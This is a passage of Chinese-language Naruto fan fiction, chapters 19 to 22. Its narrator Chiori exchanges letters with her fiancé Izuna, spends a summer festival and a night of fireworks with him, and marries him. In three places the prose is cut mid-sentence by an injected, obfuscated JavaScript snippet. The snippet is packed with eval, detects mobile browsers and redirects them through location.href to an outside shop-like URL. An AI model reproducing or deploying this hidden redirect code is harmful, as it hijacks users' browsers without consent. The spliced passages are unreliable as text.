“你今晚走,”他颇有种破罐子破摔的味道,“我偷偷给你送点东西。” 他居然真的开始计划了,虽然还不如不计划。 ——哥你可以不要在这种事上这么有行动力好吗! 我:“……你冷静点,我只是和泉奈关系不好,不是和他有仇。而且你被发现了怎么办?” ——事情是怎么发展到这个地步的,我怎么开始劝他不要冲动了? “这样啊,那就没办法了,千织。”他放弃得很快。 收回前言,他冷静得很! “确认了,你是我亲哥。”我面无表情,亏我刚才还在担心他! 他没说话。 过了一会儿,他又道:“虽然泉奈大人是很好的人,但刚才的话我也是认真的。 “实在不愿意的话,就离开吧,”他说着在族中可以说是称得上叛逆的话,“这些话我不该说,但你和族里其他女孩子不一样,这几年你都是在族外生活的,很熟悉外面的情况,实力也足够,所以我不必担心你的安全……我希望你能过得开心些。 “看在你以前完成的任务的份上,族里也不会大肆传播你离开宇智波的事。” 不知道火核要是知道我有万花筒了还会不会这么说。 “……不行。”好半天,我才吐出个词。 “在族长那里是我主动提出来和泉奈订婚的,我明明可以一开始拒绝。现在大家也都知道订婚的事,我再逃跑,对泉奈也太过分了。” 以前我就很讨厌那种男主和女配订婚,在婚礼上带着女主逃婚的桥段。明明可以提前处理的事,非要把另一个人在大庭广众之下置于难堪的境地。 是我先入为主在族长那里我赌了一把,只是很不巧,赌输了。 “而且……”想起当初泉奈的话,刚开始听见时那点不自在又从心底涌了上来,“泉奈他……其实也不想结婚,他只是误会了我和辉的关系,所以同意了。” “他完全误会了……辉去世前其实还让我别记得他的。” 火核的表情逐渐奇怪起来。 “……泉奈说了这样的话?”他的语气很微妙。大概是这件事对他的冲击也很大,他都把敬称给省了。 我点头,向火核寻求认同:“是吧,很奇怪对吧?他们兄弟都很奇怪……我只是知道他这个人可能不太把自己看得太重,会优先族里和旁人的事,但是没想到他会做到这个地步。” 照顾已经去世的哥哥在意的人……这到底算什么啊,我需要他自顾自地做出这种牺牲吗? 这家伙在自作主张决定什么。 我终于知道心中那点奇怪的感觉是什么了。 ——我就是在为这一点生气。 我咬了下下唇,眨着眼睛把眼泪憋回去。 “你……算了,”火核别开头:“你们的关系真是复杂,我不太想思考了。” “总之你决定了就好。” 19.祭典 这之后我在族中又待了些时日,陪爸爸妈妈住了段时间,就出发回据点了。 走之前泉奈把那两个万花筒的瞳术卷轴送了过来。回到城中我打开看了,上面记载的果然是伊邪那岐和伊邪那美的瞳术。 看完之后,我便将卷轴收了起来,下意识地回避了某个问题,不想去思考。 据点的工作还是老样子,收集整理情报、时不时出点力所能及的任务、每月例行汇报据点情况。 然而最后一项工作,因为和我对接的是泉奈而让我有些忐忑。 第一次汇报时我中规中矩写了封汇报书寄了回去,他同样回了封堪称模版的信件。 我稍微松了口气,此后的汇报书都按这种格式写。 以往我们还会在信中提一些题外话,这之后也全然消失不见。 我回据点的时候已经是秋天了。 我的生日在夏天,这一年我难得地在族里过了生日。 新年的时候我写了好几封年贺状寄回家,其中几封托火核帮我带给别人。 他回信说好,没问我为什么不直接把给泉奈的年贺状寄给他,明明我们每月都在联系。 随回信送到的还有族长两兄弟写的年贺状,火核说是泉奈让他帮忙寄的。 我:…… 泉奈的年贺状中写的内容倒没有我们的汇报书那样公事公办,很是日常。 他零零碎碎写了很多事,从筹备过年开始写到新年准备了什么食物,他和他哥做了什么,又问我在据点是否习惯,过得如何。后面他又直白地写自己在下笔写这封年贺状时心中忐忑不知从何下笔,只能挑些日常的琐事写了,如果不愿意看就跳过,还和我提了爸爸妈妈与火核的近况。 最后又祝我新年快乐,万事顺遂。 看了信的我有些不知所措,只觉得手中的年贺状十分烫手。 他写得太认真了。 如果是很敷衍的那种大众一句话年贺状,我收了也就收了。 再看眼族长的那封年贺状——简单的一句恭贺新年。 感谢族长,我冷静了。 “……”不对,这么一对比,泉奈写得不是更认真了吗! 以这封年贺状为开端,泉奈开始让火核帮他寄私下的信件了。 信中都是些日常的事,什么都有,然后再问问我的近况。 我开始尝试着给他回信。 往前推个一年,我们还没订婚的时候,也没有这种私下的信件往来,平日里要说什么都混在汇报书里了,内容也不多。 这么单独写一封回信,让我在写的时候隐隐有些不安。 我写了京中的风土人情,提了提自己的日常生活。 我也写了我平日里用假身份雕了些什么木雕,说不久前我因为雕工出了把名,现在做的木雕就少了。 ——结果被当作饥饿营销,木雕的价格炒得更高。 这事气得我好几天没睡着,上辈子被黄牛炒谷的新仇旧恨加在一起,我现在就是后悔。 但是要增产我的工作量就得增加,我在信里怨念极深地吐槽了那些抬价的家伙。 过了段时间,泉奈给我寄了一盒子木雕,盆栽、动物、人像什么都有。 另外还有一个单独的小盒子,里面放了个我的木雕,做工比另一个盒子的好得多,看来花了不少功夫。 他在我的人像边上放了张纸条——这个别卖。 我:“……” 他是笨蛋吗!还是觉得我是笨蛋! 我怎么可能把自己的人像拿出去卖啊! 春天开始没多久,战争又开始了。 泉奈没再给我寄信,我也就只能从据点的情报流转中知晓战局和他目前的状况。 第一次拿起关于他的消息时,意识到自己在干什么的我还无比震惊:我到底在干什么啊! 后面我就说服自己了。他是族中重要的战力,当然需要关注他的情况。 到了战争结束的时候,他的信件姗姗来迟。 那是一封报平安的书信,信里几乎把我在族中关系近的人都写了一遍,就是没写他的情况。 我有些纳闷,回信问他怎么不写他自己。 他说因为他是写信的人,当然没事。 这句话就算是写在纸上,我也能想象出他说出口时的神态。 一定是惯常那副理所当然的态度,微微仰着下巴,眼角流露出几分讥诮——是我和隔壁千手百看百中招被挑衅到的表情。 不过这后面他就详细写了自己的情况,又带了几句他有些担心他哥的话,然后和我说放心,他们都没什么事。 我会担心才怪! 我回信问他:“你以为只有你和你哥有万花筒吗?” 信他眼睛没事我不如信隔壁千手扉间洗心革面想要和我们宇智波相亲相爱! 之后他就没回信了。 这时候已经是夏末。 他在我的生日前一天到了据点。 “做任务,路过。”当时的他站在我面前和我解释他的来意,脸上挂着温和的笑。 年龄增长后他的身高也和我拉开了距离。他垂下头时,影子也落到了我的身上,将我罩住。 我想起几年前我胡乱给他扯的理由,也是做任务路过。 不过他应该是真的有任务才路过吧。 我不知道自己当时是什么表情。 他在看见我的表情后怔愣了片刻,而后抬手摸了摸我的脑袋,有些无措地道:“抱歉,前段时间有些忙,没来得及回信。” “……这又不是你的义务。”我当时有点狼狈地转过脸,没看他。 又不是我让他写信的。 之后他又问我:“你的眼睛还好吗?” 我说我眼睛用得不多,让他别瞎操心。 说完我又有些后悔,他好心关心我,我的语气却这么冲。 但他也只是笑笑,说那就好。 生日那天,京中恰巧办了祭典。 夜幕降临的时候,他问我去不去外面看看。 我说年年都在看,没意思,我们也没必要凑这种热闹。 他没多劝,点头说了声好。 那时候他坐在我的木雕店边上,身上穿着深蓝色的浴衣。 店外三三两两的游人挽手而过,灯笼朦胧的光落到沉默的他身上,漆黑的眸子映着如星的光。 “……算了,你肯定是第一次见,你等我一下,我去换身衣服。” 黑发青年眸底的星光倏地亮了起来。 我换了身浅蓝色的金鱼浴衣出来,手里提了个小袋子,袋子的系绳挂在手腕上。 “走吧。”我走到他身边,抬起下巴,伸手在他眼前晃了晃。 泉奈嗯了一声,站了起来。 他的目光扫过我放下的手,又落到我的发端。 “怎么了?”我被看得有些不自在,微微动了动脑袋。 他轻轻眨了下眼睛,抬手落到我的头上:“别动,歪了。” 发饰牵拉头发,但并没有被扯疼。 他的手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151094|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻轻掠过我的额头,带起一股痒意。 “好了。”泉奈放下手。 我僵硬地退了一步,干巴巴道:“刚才太着急了,没注意。” 黑色的眼睛浮起丝笑意,他朝我伸出手:“嗯,我知道。” 我如临大敌地盯着他的手,然后慢吞吞地把手放了上去。 下一刻,他便紧紧握住了。 夏日的晚上泛着股潮热,轻薄的浴衣也拦不住这股热气。 我们慢吞吞地逛着祭典的摊子,路过鲷鱼烧的摊子时,他停下来买了两个,转头将其中一个递给我。 我道了声谢接过,低头看着手中的鲷鱼烧,咬了一口。 巧合吗? 绵软的红豆沙馅在舌尖化开。 似乎是受到祭典安乐氛围的影响,我觉得自己的思维有点慢,像半开不开的热水,时不时冒出一个明显的气泡。 我又低头咬了一口,抬头时撞上他的目光。 怎么了? 我疑惑地看他。 泉奈摇了摇头,嘴角微微上扬,说没事,问我味道怎么样。 我说还好。 就是有些烫,感觉更适合冬天吃。——这句话我没说出来。 目光落到他手上还没动过的鲷鱼烧,我又问他不吃吗。 他好像这才意识到自己也有一块。 愣了一下后,泉奈垂下头小小咬了一口,把鱼头的位置咬出了一个小小的缺口。 我觉得我大抵是疯了,盯着那个缺口看了好半天,竟然会联想到天边的月牙。 我忍住没抬头去看今天的月亮是什么样的,又想起刚才泉奈吃鲷鱼烧的样子。 ……有点可爱,明明不是真的鱼,但是看起来就像猫猫吃鱼。 他的眉眼舒展开来,往日身上那点忍者自带的锐气消散开来,大概这份鲷鱼烧也很合他的口味。 我觉得今天就不该出来逛祭典。祭典实在太热了,手中的糕点也是热的,搞得我的脸也有些热。 吃完手上的糕点,我们又路过一个围了好些人的金鱼摊。 展示台上,透明的鱼缸里,金红色的游鱼拖着纱雾般的大尾巴穿过绿色的水草,呆呆的。 鱼缸上映着街上的流光,一些游人的影像落到鱼缸上,拉伸变形。 “呀,阿千!”有京中熟识的人叫出了我的名字,穿着粉色浴衣的少女突然瞧见我身旁还站了个泉奈,不禁呆了一呆,“嗯……这位是?” 她脸上露出了几分不安的神情,又落到我们交握的手上,恍然大悟,拍了拍手,笑道:“……阿千的恋人?” 手也发起烫来,我怀疑我是被刚才那只鲷鱼烧传染了,吃了它后也像它一样到处都发烫。 稍微挣了挣,我将手抽出来背在身后,指节似乎还残留着对方手上的温度,不太自然地弯曲。 我该承认吗?还是说实话? ——未婚夫吗,这样的称呼说出来似乎比恋人更难为情。 可我们又并非恋人。 温吞地冒着气泡的大脑开始打架。 无论是回答恋人还是未婚夫,往后被问起他来,我又该如何回答? “还不是恋人。” 在我满脑子混乱的思绪时,泉奈的声音穿过模糊的人声,清晰地在耳边响起。 我悄悄松了一口气。对啊,可以否认嘛,我何必要给出一个确切的答案。 刚才扑通扑通慌乱跳动着的心脏一下安稳了起来。 不过泉奈的说法,似乎也有些奇怪? 20.烟花 对面的少女是京中一家很有名的拉面店的女儿。 她听见泉奈的话,又看看我们,脸上忽地露出一个有些了然的笑。 “这样啊……”她的眼睛在笑起来时微微弯成一个可爱的弧形,她抬起手指指向游人们聚集的金鱼摊,歪了歪脑袋,“阿千和你的同伴可以试试去玩那个哦,那是很适合你们的游戏呢。” “适合?”我看着摊边捞金鱼的游客要么是结对的年轻男女要么是小孩子,想要说出反驳的话来。 我和泉奈哪里像小孩子啦。 那些年轻男女们也很明显是情侣。 不过我真的有必要向她解释吗?解释的话不会太刻意吗? 这么想着,泉奈又拉住了我的手。 “是吗,多谢这位小姐了。”他温声向对面道谢。 拉面店的少女摆了摆手,和同伴们一起离开了。 我收回目光,看向我们再度交握的手。 “这样会被误会吧?”我思忖着开口。 “我们的关系,被误会也没关系吧?”这次他没像刚才那样,轻易松手。 他说的好像也对。 我也并不是很抗拒这样的肢体接触。 实在要说的话,过往我们在训练场上互殴,早已熟悉了彼此的距离,还有…… 那个充满雨水与血气的记忆突然闯入脑海,我们连拥抱这种事都做过了,此刻只是牵手罢了。 我说服了自己。 “去捞金鱼吗?”泉奈问我。 展示台上鱼缸里的游鱼摇曳着妖异的大尾巴,老实说我从小就对这种摊子没有抵抗力——这个从小指上辈子。 明知道公园里那种钓金鱼的摊子提供的钓具被动了手脚,还是忍不住想要去试试。与其花钱钓鱼还不如直接去市场买上两只。 换到现在,明知道纸网很容易被鱼挣破—— 我扯了扯他的手,拉着泉奈上前,面色凝重:“试试。” 我都是忍者了,没道理败在老板的诡计之下! 泉奈闷笑了一声,跟上。 我和他蹲在水池边上,身旁不时传来其他人捞鱼时的惊呼。 手上拿着纸网,我观察着别人捞鱼时出现的问题,深刻总结了纸网破裂的规律,然后盯着池水里的金鱼,纸网划入水面,捕捉到游鱼的身影——起网! 纸网在还没离开水面时就破了! 怎会如此! 泉奈又递了个纸网给我。 我深呼吸,如临大敌,不信邪了—— “……” 对不起,我信了。 为什么要捞鱼呢,鱼什么都不知道,是万恶的人类把它们圈养在小小的水池里敛财。 花掉十个纸网后,我面无表情,思考自己为什么要待在这。 是幻术不香还是体术没有吸引力,我要在这里玩这种幼稚游戏。 “你来试试。”我用手肘碰了碰旁边的泉奈,不太服气。 他应了声好,让我帮忙拿着多余的纸网,也开始捞金鱼。 我觉得我们宇智波可能不适合抓鱼。 在他手中的纸网只剩最后一个后,我觉得可能是我们宇智波偏火的查克拉属性和这项活动不兼容。 一开始那点不平衡的心态也散得差不多了。 互相看不顺眼的发小和自己一样在捞金鱼上遭遇了滑铁卢,我勉强可以把他归入到同一阵营里。 说到底是老板太狡猾! 我托着脸颊,等着他用掉最后一次机会,心已经飞到别的摊子上。 最后一次捞鱼前,泉奈轻轻凑到我耳边问我想要哪一只金鱼。 想要金鱼和捞不捞得到金鱼毫不相干,我指了那只尾巴最大的,无所谓道:“这只最好看,你加油。” 他嗯了一声。 纸网入水,飞快抄起那尾金鱼舀到了一旁的小水盆里。 我睁大了眼睛,不可思议地看着他。 “你开窍了!”我用力拍了拍他的肩,难掩兴奋,“总算给我们扳回一局!” 这不仅是我们的胜利,还是宇智波的胜利! 就算不用查克拉作弊,我们宇智波也是天生捞鱼圣体! 泉奈放下纸网,摇头:“我也不知道怎么回事,大概是超常发挥吧。” “可惜。”我叹了一声,不过立刻高兴起来,招呼老板帮忙把金鱼装上,又去隔壁选了个好看的鱼缸,嘱托老板多放点水草进去。 付完钱后,我接过鱼缸和金鱼,回头问他:“你打算怎么带回去?还是我帮你养着?” 他愣了一下,有些啼笑皆非:“这是给你捞的,你养着吧。” “欸?给我吗?”我抱着鱼缸收紧了手,“那你可不能后悔了哦。” “嗯,我也不好带回家嘛,小千。” 也是,这里离族地也太远了些,它的主人注定是我啦! 过了会儿—— “……别这样叫我啦,听起来有点怪。”因为刚收下了他的鱼,我也不好意思像上次那么凶他。 天色完全黑下来后,祭典有烟花观赏活动。 观赏地点在城外的河边。 我嫌弃抱着鱼缸有些累,就先回了趟据点,把金鱼放下,然后顺着人流走去。 忍者的本能终究不适应这种人多的场合,尤其是在没有伪装的情况下。 人挨着人的情况下,很难应对偷袭。 我们躲到了树林里,坐在一颗不知道有多久树龄的老树的枝干上等待烟花。 高处的风有些凉。 游人们的声音从河岸边传来,遥远而模糊,像是雨天时的白噪音。 夏虫有一声没一声地叫着,已是夏末的树林中偶尔漂起几点零星的绿光。 “萤火虫。”注意到那点萤火虫,我赶紧让泉奈看,过了这个村就没这个店了。 他低头看了眼,想了想:“南贺川附近的萤火虫比这里多,明年要回来看吗?” “再说吧。”明年的事谁也说不准,战乱年代,过的是有一天是一天的日子。 他嗯了一声,我们的手握得更紧了。 心跳声仿佛顺着手掌间相触的脉搏,陡然放大。 奇怪。 这么高的风也吹不散耳后的热意。 可能是我们坐得太近了。 毕竟是两个擅长火属性查克拉的忍者。 脑子里有一搭没一搭地想着,被握着的手不知何时被泉奈摊开,他的手指强硬地、不容分说地挤进了指缝,复又握住了我的手。 我不由轻轻颤抖了一下。 大概是树上的风。 “小千。”他靠在我身侧,肩膀挨着肩膀。树梢上的明月大得可怕,泉奈的声音在耳边轻轻响起。 我受惊般地条件反射地收紧手指,握住了他的手,转头看他:“怎、怎么了?” 两个火属性的忍者果然不该挨这么近,火属性的忍者是易燃物,夏末的气温也没有降下来。 按照以前古装剧里的套路,火属性的忍者们聚在一起,值得上一句“天干物燥、小心火烛”,需要防止失火。 这种天靠得太近了,就会像被烧起来一样,相接的掌心、互相触碰着的手指、挨着的臂膀、呼出的吐息都热得发烫。 连心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161983|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脏都因为这样的高温聒噪地鼓动着,震颤着。 泉奈看着我的眼睛。 他似乎在走神,长久地没有说话。 “泉奈?”于是我又问他。 他仿佛这才回过神,对我露出一个笑。 交握的手被他的力道握得有些发疼。 他是不是故意报复我? 他抬起空着那只手,轻轻拨了下我的头发往下梳理:“有些乱了。” 他说。 我慌乱地转头看向河边:“这里风大,头发被吹乱是很正常的事。” “你也是这样呀。”我强调了一句。 “也是。”他没再说话了。 咻的一声。 烟花升空的声音划破了隐约的人声,一道细小的光束升到了空中,越过起伏的树海,之后在微蓝的夜幕下噼里啪啦地炸成五颜六色的花。 一声接着一声,不断升空的烟花在月影与星空的注视下绽放成不同的模样,转瞬即逝。 我沉默地注视着这些它们。 脑中什么都消散了。 “小千。”泉奈又在喊我。 我回神看向他,夜空中他的发梢显得柔软了些许,在风中微微飘动着。 我想起我们刚才的对话。 ——头发被吹乱了。 我不禁伸出手,挡在他的头发边上。 “怎么了?”他又问我。 脸上有些发热,我轻轻碰了下有些硬质的黑发,心想他后面那缕留长的头发就柔软许多了,他的头发倒是有点像他这个人—— “吹乱了——头发。”我若无其事地收回手,发丝掠过手指的触觉似乎未消散。 手轻轻搭在身侧的枝干上,微微收紧。 “你刚才要说什么?”我扬起笑看他。 耳边是接连炸开的烟花声。 风吹过树海,树冠簌簌摇动。 泉奈微垂着头,深黑的眼眸静静地凝视着我的眼睛。 “生日快乐,小千。”他轻声说道,小心的样子似乎担心这话被旁人听了去。 又是啪的一声。 一声烟花在耳畔炸开。 红色的、黄色的、紫色的……缤纷的色彩落入泉奈的眼底,在夜幕下划过灿烂的光。 “……谢谢。”良久,我眨了下眼睛,别过头不看他,同样小声地回了一声。 一切都能找到依据。 他不是因为做任务顺路来的据点。 了解我的口味,特意买了红豆馅的糕点。 知道是我生日,问我要不要参加祭典。 他是特意为了今天才来的。 泉奈似乎真的在很认真地完成当初的承诺。 那个在当初认下婚约时莫名其妙的承诺,什么哥哥重要的人,什么照顾——他确实很细心,但想到这一切的出发点,我就一点也不开心。 明明一开始出来玩时还是很高兴的。 但是在发现他似乎是为了完成所谓的“照顾”这个承诺后,那点喜悦和不知名的躁动,就忽然变得索然无味了起来。 “为什么?”我不敢转头去看他,只能盯着眼前的明月,假装自己在看其他更有吸引力的东西,“是为了当初在族长面前说出的那个承诺吗?什么‘我哥哥在意的人,所以你要好好照顾我’的承诺,所以你才来找我过生日吗?” 火核说得对,他总说我想得太多。 如果我能不去想这些东西,大概会快乐很多。 我不知道自己为什么会在意这种问题,明明理所当然地接受就好了。 反正付出精力的不是我,我又不亏。 21.圣诞树 泉奈没有说话。 “算了,就当我什么都没问……”我突然不想再追究这背后的原因。 我其实也没必要去想这些。 “不是。”泉奈突然出声。 我控制不住地又去看他。 他似乎一直注视着我,动作都没怎么变。 “和哥哥没关系,我只是……想见你。” 泉奈这么说着,他低下头,犹豫地伸出手,放在了我的背上,试探性地、缓慢地与我拉进了距离。 他的头发擦过我的脸,泛起一股细细密密的痒意。 我被他揽在了怀中,脚下空荡荡的,我们就这么坐在危险的高处。 头被他按在他胸膛的位置,耳边是他的心跳声。 扑通的一声,接着另一声。 我的心跳似乎也按照着相同频率与他的产生了一种奇异的共振。 我看不见他的脸,所以无从得知他此刻的表情。但耳边快得不可思议的心跳声使我我不禁抬起手抓住他的衣襟,思维有些混乱。 他的声音有些低哑,贴在背后的手莫名烫得吓人。 高空中鼓噪的风声带来他的声音,他的胸腔在说话时发出的震动让我更加难以思考。 我听见泉奈说道:“我想见你,千织。” 不是其他人口中的假名“千”,也不是被许多人称呼的、从假名衍生而出的“小千”。 他很认真地叫出了我的名字——千织。 不知道为什么,我又想起了那个晚上。 他抱着我,让我不要死掉,不断地、不断地喊着我的名字。 心脏的位置突兀地传来一股难以言说的涩意,我收紧了手指,也不管会不会抓乱他的衣服,埋在他的胸前,轻轻嗯了一声。 我不想再去追究我们之间究竟是什么样的关系,也不想去思考连接起我们两人的究竟是什么。 这样就好。 那天晚上我大概是被抱着睡着了,迷迷糊糊间能感到被人抱着离开。 等醒来的时候,我睡在据点的房间中,身上的浴衣被睡得有些皱,头上的发饰倒是都被摘下来,发辫也被打散。 我坐起身,被褥围在身边。 昨天睡得太熟了,这在惯常警惕的忍者身上简直是一种不可思议的事,所以我还有些懵。 泉奈身上是有什么高效安眠药吗,每次我都会睡着,简直辜负了我这么多年的忍者训练! 等脑子缓慢重启,我看了眼房中的陈设,缓慢起身,找了件日常的衣服换上,扎了头发后看到了泉奈留在桌上信息。 他说他回族里去了,族里还有事要处理。 战后的事务本就复杂繁忙,也亏他能抽出身来到这边来。 顺手烧掉信息,我洗漱完后走出房间,开始了新一天的工作。 昨晚的金鱼被我养在了木雕店里,放在了柜台边上。 这之后一切如常,秋季、冬季、新年,转眼又过去了一年。 我和泉奈依旧通过火核通信。 火核说我和泉奈这是欲盖弥彰。 我说我不明白他在说什么。 他说有本事别向他打听泉奈的消息。 生日之后,我犹豫了一阵,还是写信向火核问了泉奈的喜好,并且问他是不是他告诉了泉奈我喜欢吃什么。 火核承认了,然后说我问他这种事不如去问斑大人。 “……”我要是敢问族长还用问他吗! 不过,虽然他这么回我了,也还是给我写了他从泉奈身上观察到的信息给我。 所以第二年二月的时候,我按着泉奈的喜好给他寄了生日礼物。 他回信的时候大概心情不错,字迹都轻快飘飞了不少,没有之前看着那么稳重,显得有几分可爱。 我信里提了一句这个,他的下一封回信里字迹便又变得老成稳重,一点也不像个刚满十八岁的人。 我怀疑他在写字的时候还特意加重了力道。 只是过往的信件我看过便烧掉了,也就无从比较是不是真的是这样。 如果是在族地里,这些信件就能保存下来。 想到这点,我又有些提不起兴趣。 这年夏天,我生日时泉奈依旧到了。 他坐在柜台边和我说他哥最近驯服了一只鹰,很是威猛。 说到这的时候,少年——应该说是青年了,坐在我身旁时目光里满是憧憬。 我问他也想养吗? 他摇头说不是这样的,他的性格不适合饲养鹰这种猛禽。 “我没有精力去照顾它们。”泉奈说。 “它们,”我重复道,憋着笑,“原来你还想养上好几只。” 泉奈鼓了鼓脸颊,瞪着我,伸手捏了捏我的脸颊:“我没开玩笑,我只是很仰慕这样的斑哥——” 他还在说着什么。 我没有搭理这个兄控对自家哥哥的吹捧,呆呆地看着他没出声。 他完全没注意到自己刚才做了什么吗! 我从柜台边探过身子,恶从心头起,气势汹汹地压住他的肩膀,伸手去够他的脸! “你这家伙怎么随便碰我的脸啊!” 我捏了上去! 他那双在长开后更显狭长的眼睛猛然睁圆,耳朵倏地被染得通红。 然后他后知后觉地握住我的手腕制止我的动作。 “小千!”他急促地制止我。 “什么小千,你喊我千大人也没用!”我伸出另一只手。 他有点狼狈地后仰着身子避开,制住了我的另一只手:“你已经……回来了!” “捏”字在他的喉间含糊不清地滚过。 我瞪着他:“我怎么了,你说清楚啊!” 他飘忽地移开目光,过了一会儿,仿佛下定决心一般,抬起我一只手,放到了他的脸侧。 这样反而就像我在抚摸他的脸一样了! “!!!” 我的天,宇智波泉奈的脸是软的,居然是软的! 不对,人的脸本来就该是软的,我到底在想什么啊! 主要手底下的触感实在是太奇怪了,我又不是没摸过自己的脸,但是这和摸自己的脸感觉完全不一样。 我一个激灵,立刻抽回手,缩回了柜台里,命令坐在柜台外椅子边上的他:“你坐好,不许起来!” 他看着我,突然笑出了声。 这个家伙,就是故意的! 因为婚期将近,秋末的时候,火核来接我回族里,据点的事务暂时交给了与我轮换的族人。 火核倒是显得担忧极了,他在路上问我:“千织,你真的打算嫁给泉奈吗?” 我感觉他替我患上了婚前恐惧症。 我思考了片刻,回答他:“泉奈的话,应该没问题,他……你知道的,他一开始只是为了替他哥哥照顾我。” 说是结婚,大概只是表面上走个仪式罢了。 订婚的时候他已经说过原因,他的行为也表明了他的态度——虽说我们现在的关系确实有些奇怪,但已经没了以前那么剑拔弩张。 他跟他哥一个样,大概都是那种不会结婚的类型,看看当初族长对长老们的逼婚说了什么就知道了。 也就是我们中间隔了辉,他当时看出了我进退两难,才答应的。 如果真的有好感……他又一句剖白心意的话都没说过。 去年生日鼓起勇气问出的问题,并没有得到我想要的答案。 我才不想自作多情,产生人生十大幻觉之一的“他好像喜欢我”的幻觉。 “……” 火核更是忧心忡忡的一副表情:“就是因为你是这样想的,我才更担心。” “能有什么好担心的,”我拍了下火核的肩,“大不了就去训练场,反正以前我们也没少打过架。” 虽然我很少用万花筒,但是不代表我的万花筒没有实战能力! 泉奈的加具土命倒是太具有实战能力,如果不是奔着杀敌的目的去,他在切磋中只能享受被封号的待遇。* 就跟族长下场和族人切磋时不会开须佐一个道理。 话说回来,不是对敌的话,谁会在寻常切磋里开万花筒啊,这玩意开着是消耗视力的,透支严重还会诱发血继病。 这样的年代里,婚礼并不会大办。 只是因为成婚一方是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187306|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今族长的弟弟,在族长自己不愿松口结婚的情况下这场婚礼多了些政治性的意味,宴席的客人们也并非全都为了庆贺新人。 忍者不比大名贵族,婚礼的仪式极为简便,在先祖的神龛前与双方血亲的见证下喝过酒后,仪式便结束了,之后就是接受族人们的祝福与宴席。 泉奈的家挨着族长家,他们两人在泉奈正式接手族务时就分开住了。 不过看泉奈把新家选在族长家隔壁就能看出来,他们兄弟的感情是真的好。分开住也只是为了表示泉奈在族中是个与族长关系更为平等的独立忍者,并非依附于族长之人。 相比部下,他们的关系要更为平等。 因此,在隔壁千手族长多次送来结盟书的情况下,族中形成了以泉奈为首的主战派也是相当合理的事。 族长对结盟之事一直没有表明过明确的态度,这样的情况下主战派的声音更是压过了其他声音。 我私下问过火核怎么看待千手族长的结盟议题。 火核当时摸了摸我的额头,纳罕道:“千织,你是被邪魔入体了吗?这种事有什么好说的,你还记得你差点死在千手族长手下吗?” 我一时没说话。 如果不是火核提起这件事,我都没注意到这是一件我应该仇恨千手的事。 只是当时那个情形…… 算起来的话,那时候千手族长也是为了俘虏我们,并非要对我们下死手,而且因为原著的滤镜,我并没有因为这件事仇恨对方。 我反倒是对两族的战争感到有些厌倦和无力。 包括辉的死亡,我也只是平等地讨厌这个不得不互相厮杀的世道。当初杀了辉的千手忍者,也早早死在了族长手里。 两族迟早是要结盟的,如今战争中失去性命的族人同胞,让我感到无比的可惜。 见我不说话,火核诧异地看向我:“难道说你……?” 他没有继续说下去,脸色发青,握住我的手,劝道:“既然这样,你何必嫁给泉奈大人?” 没有感情尚可当对表面夫妻——当然我们之间的关系也并不能简单地说没有感情,但立场上的不和可就容易变成仇人了。 我反手拍了拍他的手,安慰道:“哥,没事的,我平日里也在据点,我们之间谈不到这件事上。” 这是事实,包括在我和泉奈私下通信日益频繁的现在,我们也没有谈到过与千手相关的事。 “而且,你也不会因为这种事就不认我这个妹妹啊。” 火核的脸色依旧难看,用我看不太懂的目光注视着我:“千织,这不一样。” 这件事的后续就是我出嫁这天火核非要给我梳头发。 妈妈替我梳好头发后,他又在边上说着没梳好,在我脑袋上捣鼓了很久,拖延着我出门的时间。 只是他折腾的是我的脑袋,他梳完后又想给我拆了重来,我忍无可忍地制止了他。 火核这才放弃继续捣鼓我的脑袋,我往镜子里看看了,觉得自己的脑袋像棵圣诞树,挂满了花里胡哨的发饰。 找画师约稿都很可能被嫌弃成圣诞树拒稿的程度。 妈妈原本因为我今天要结婚,表情还有些不舍,看完火核的成果后脸上就只剩下了欲言又止。 很好,火核以一己之力让我变成了今天婚礼上的谐星。 “……哥,”我轻轻敲了敲自己发酸的脖子,幽幽问他,“你是和我有仇吗?” 火核:“我只是不放心你,千织。” “话说回来,哥你梳头发是怎么做到技术这么好的?”我转移话题。 不是我吹,就这颗头,外面花大价钱也很难找到能做出来的人。 放现代火核高低一个天选毛娘。 他语气淡淡道:“以前做任务需要,特意学过。” “……”什么任务要学梳圣诞树啊。 我对他的任务有点好奇了。 不过这也导致这天晚上我换好衣服准备睡觉时,坐在镜子前拆这些发饰发辫极为吃力。 要不是我知道我们兄妹感情是真的好,我真的以为他和我有仇了。 我拆了会儿头发,泉奈也进了房间。 22.金鱼 时下夫妻会在有条件的情况下分居。成婚后,这就是我的房间。 但是新婚这天,夫妻二人还是要睡一间房的。 